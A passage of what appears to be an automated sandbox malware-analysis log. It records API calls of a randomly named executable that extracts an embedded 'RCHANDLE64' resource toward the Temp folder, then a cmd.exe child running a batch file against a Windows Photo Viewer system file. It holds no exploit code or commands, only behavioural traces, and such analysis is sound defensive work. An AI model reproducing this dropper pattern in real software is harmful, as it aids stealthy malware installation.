!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÓ\x13Èùäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0080.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x80) returned 0x2a81c0 [0080.502] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0080.502] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0080.502] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a81c0) returned 0x80 [0080.502] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0080.502] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0080.502] GetCurrentProcess () returned 0xffffffff [0080.502] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0080.502] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0080.502] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0080.502] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0080.502] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0080.502] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0080.502] LockResource (hResData=0x43c648) returned 0x43c648 [0080.502] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x18) returned 0x2a8248 [0080.503] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.503] GetLastError () returned 0x20 [0080.503] GetLastError () returned 0x20 [0080.503] SetLastError (dwErrCode=0x20) [0080.503] GetLastError () returned 0x20 [0080.503] SetLastError (dwErrCode=0x20) [0080.503] GetLastError () returned 0x20 [0080.503] SetLastError (dwErrCode=0x20) [0080.503] GetLastError () returned 0x20 [0080.503] SetLastError (dwErrCode=0x20) [0080.503] GetLastError () returned 0x20 [0080.503] SetLastError (dwErrCode=0x20) [0080.503] GetLastError () returned 0x20 [0080.503] SetLastError (dwErrCode=0x20) [0080.503] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x2a97d8 [0080.504] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0080.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a7790 | out: hHeap=0x290000) returned 1 [0080.505] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0080.505] ExitProcess (uExitCode=0x1) [0080.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a6090 | out: hHeap=0x290000) returned 1 Process: id = "147" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x77a1000" os_pid = "0xc8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 695 os_tid = 0xc90 [0083.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3bfcb4 | out: lpSystemTimeAsFileTime=0x3bfcb4*(dwLowDateTime=0xd5803e40, dwHighDateTime=0x1d5d06a)) [0083.410] GetCurrentProcessId () returned 0xc8c [0083.410] GetCurrentThreadId () returned 0xc90 [0083.410] GetTickCount () returned 0x115ccf0 [0083.410] QueryPerformanceCounter (in: lpPerformanceCount=0x3bfcac | out: lpPerformanceCount=0x3bfcac*=22536228239) returned 1 [0083.411] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0083.411] __set_app_type (_Type=0x1) [0083.411] __p__fmode () returned 0x76be31f4 [0083.411] __p__commode () returned 0x76be31fc [0083.411] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0083.411] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0083.411] GetCurrentThreadId () returned 0xc90 [0083.411] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xc90) returned 0x60 [0083.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0083.411] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0083.411] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.412] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0083.412] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3bfc44 | out: phkResult=0x3bfc44*=0x0) returned 0x2 [0083.412] VirtualQuery (in: lpAddress=0x3bfc7b, lpBuffer=0x3bfc14, dwLength=0x1c | out: lpBuffer=0x3bfc14*(BaseAddress=0x3bf000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0083.412] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x3bfc14, dwLength=0x1c | out: lpBuffer=0x3bfc14*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0083.412] VirtualQuery (in: lpAddress=0x2c1000, lpBuffer=0x3bfc14, dwLength=0x1c | out: lpBuffer=0x3bfc14*(BaseAddress=0x2c1000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0083.412] VirtualQuery (in: lpAddress=0x2c3000, lpBuffer=0x3bfc14, dwLength=0x1c | out: lpBuffer=0x3bfc14*(BaseAddress=0x2c3000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0083.412] VirtualQuery (in: lpAddress=0x3c0000, lpBuffer=0x3bfc14, dwLength=0x1c | out: lpBuffer=0x3bfc14*(BaseAddress=0x3c0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0083.412] GetConsoleOutputCP () returned 0x1b5 [0083.412] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0083.412] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0083.412] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.412] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0083.413] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.413] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0083.413] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.413] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0083.413] _get_osfhandle (_FileHandle=0) returned 0x3 [0083.413] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0083.414] _get_osfhandle (_FileHandle=0) returned 0x3 [0083.414] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0083.414] GetEnvironmentStringsW () returned 0x712128* [0083.414] GetProcessHeap () returned 0x700000 [0083.414] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xaca) returned 0x712c00 [0083.414] FreeEnvironmentStringsW (penv=0x712128) returned 1 [0083.414] GetProcessHeap () returned 0x700000 [0083.414] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x4) returned 0x7118c8 [0083.415] GetEnvironmentStringsW () returned 0x712128* [0083.415] GetProcessHeap () returned 0x700000 [0083.415] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xaca) returned 0x7136d8 [0083.415] FreeEnvironmentStringsW (penv=0x712128) returned 1 [0083.415] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3bebb4 | out: phkResult=0x3bebb4*=0x68) returned 0x0 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x0, lpData=0x3bebc0*=0x0, lpcbData=0x3bebb8*=0x1000) returned 0x2 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x1, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x0, lpData=0x3bebc0*=0x1, lpcbData=0x3bebb8*=0x1000) returned 0x2 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x0, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x40, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x40, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x0, lpData=0x3bebc0*=0x40, lpcbData=0x3bebb8*=0x1000) returned 0x2 [0083.415] RegCloseKey (hKey=0x68) returned 0x0 [0083.415] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3bebb4 | out: phkResult=0x3bebb4*=0x68) returned 0x0 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x0, lpData=0x3bebc0*=0x40, lpcbData=0x3bebb8*=0x1000) returned 0x2 [0083.415] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x1, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.416] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x0, lpData=0x3bebc0*=0x1, lpcbData=0x3bebb8*=0x1000) returned 0x2 [0083.416] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x0, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.416] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x9, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.416] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x4, lpData=0x3bebc0*=0x9, lpcbData=0x3bebb8*=0x4) returned 0x0 [0083.416] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3bebbc, lpData=0x3bebc0, lpcbData=0x3bebb8*=0x1000 | out: lpType=0x3bebbc*=0x0, lpData=0x3bebc0*=0x9, lpcbData=0x3bebb8*=0x1000) returned 0x2 [0083.416] RegCloseKey (hKey=0x68) returned 0x0 [0083.416] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710e6 [0083.416] srand (_Seed=0x5e2710e6) [0083.416] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"\"" [0083.416] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"\"" [0083.416] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.416] GetProcessHeap () returned 0x700000 [0083.416] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x210) returned 0x712128 [0083.416] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x712130, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0083.417] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0083.417] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0083.417] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0083.417] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0083.417] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0083.417] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0083.417] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0083.417] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0083.417] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0083.417] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0083.417] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0083.417] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0083.417] GetProcessHeap () returned 0x700000 [0083.417] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712c00 | out: hHeap=0x700000) returned 1 [0083.417] GetEnvironmentStringsW () returned 0x712340* [0083.417] GetProcessHeap () returned 0x700000 [0083.417] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xae2) returned 0x714ca0 [0083.417] FreeEnvironmentStringsW (penv=0x712340) returned 1 [0083.417] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.417] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0083.417] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0083.417] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0083.418] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0083.418] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0083.418] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0083.418] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0083.418] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0083.418] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0083.418] GetProcessHeap () returned 0x700000 [0083.418] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x54) returned 0x7117f8 [0083.418] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3bf980 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3bf980, lpFilePart=0x3bf97c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf97c*="Desktop") returned 0x25 [0083.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0083.418] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3bf6fc | out: lpFindFileData=0x3bf6fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x715790 [0083.418] FindClose (in: hFindFile=0x715790 | out: hFindFile=0x715790) returned 1 [0083.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3bf6fc | out: lpFindFileData=0x3bf6fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x715790 [0083.418] FindClose (in: hFindFile=0x715790 | out: hFindFile=0x715790) returned 1 [0083.418] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0083.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3bf6fc | out: lpFindFileData=0x3bf6fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x715790 [0083.418] FindClose (in: hFindFile=0x715790 | out: hFindFile=0x715790) returned 1 [0083.419] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0083.419] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0083.419] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0083.419] GetProcessHeap () returned 0x700000 [0083.419] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714ca0 | out: hHeap=0x700000) returned 1 [0083.419] GetEnvironmentStringsW () returned 0x7141b0* [0083.419] GetProcessHeap () returned 0x700000 [0083.419] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb36) returned 0x715fd0 [0083.419] FreeEnvironmentStringsW (penv=0x7141b0) returned 1 [0083.419] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.419] GetProcessHeap () returned 0x700000 [0083.419] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7117f8 | out: hHeap=0x700000) returned 1 [0083.419] GetProcessHeap () returned 0x700000 [0083.419] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400e) returned 0x716b10 [0083.420] GetProcessHeap () returned 0x700000 [0083.420] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x104) returned 0x712e80 [0083.420] GetProcessHeap () returned 0x700000 [0083.420] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x4008) returned 0x71ab28 [0083.420] GetProcessHeap () returned 0x700000 [0083.420] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x4008) returned 0x71eb38 [0083.420] GetProcessHeap () returned 0x700000 [0083.420] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x716b10 | out: hHeap=0x700000) returned 1 [0083.420] GetConsoleOutputCP () returned 0x1b5 [0083.421] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0083.421] GetUserDefaultLCID () returned 0x409 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3bfac0, cchData=128 | out: lpLCData="0") returned 2 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3bfac0, cchData=128 | out: lpLCData="0") returned 2 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3bfac0, cchData=128 | out: lpLCData="1") returned 2 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0083.422] GetLocaleInfoW (in: Locale=0x409, 